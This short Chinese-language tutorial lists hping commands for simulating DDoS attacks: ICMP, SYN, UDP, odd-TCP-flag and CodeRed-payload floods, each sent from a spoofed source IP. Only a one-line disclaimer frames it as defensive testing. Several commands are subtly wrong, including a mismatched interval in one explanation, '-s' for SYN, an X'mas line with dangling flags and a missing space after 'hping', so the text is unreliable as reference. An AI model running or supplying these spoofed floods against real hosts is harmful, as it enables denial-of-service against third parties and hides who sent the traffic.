使用Hping模拟DDoS攻击,例举一些常用的方法:
hping www.testtesttest.com -1 -i u100000 -a 192.168.100.200
每秒送10个(-i u10000)ICMP(-1)封包到www.testtesttest.com, 伪造来源IP地址(-a)为192.168.100.200
注:-1为数字非英文
hping www.testtesttest.com -i u1000000 -a 192.168.100.200 -s 22668 -p 33124
每秒送1个(-i u1000000)TCP(default)封包到www.testtesttest.com的port 33124,伪造来源IP地址(-a)192.168.100.200 使用的port为22668
测试1: SYN Flooding(每秒10个封包)
hping destination_IP_address -i u100000 -s -a spoof_source_IP_address
测试2 :伪造IP的ICMP封包(每秒10个封包)
hping destination_IP_addressIP -i u100000 -1 -a spoof_source_IP_address
注:-1为数字非英文
测试3:不正常TCP Flag組合封包(每秒10个封包)
(a)SYN+FIN
hping destination_IP_address -i u100000 -s -F -a spoof_source_IP_address
(b)X’mas
hping destination_IP_address -i u100000 -F -s -R -p -a -U -a spoof_source_IP_address
测试4:伪造IP的UDP封包
hpingdestination_IP_address -i u100000 -2 -a spoof_source_IP_address
测试5:伪造IP內含CodeRed封包
hping destination_IP_address -i u100000 -d [封包datasize] -E [filename] -a [spoof_source_IP_address]
PS:您可以拿它來测试您的系統防护能力,但是千万別拿來乱用
Hping的安装请参考文章安装Hping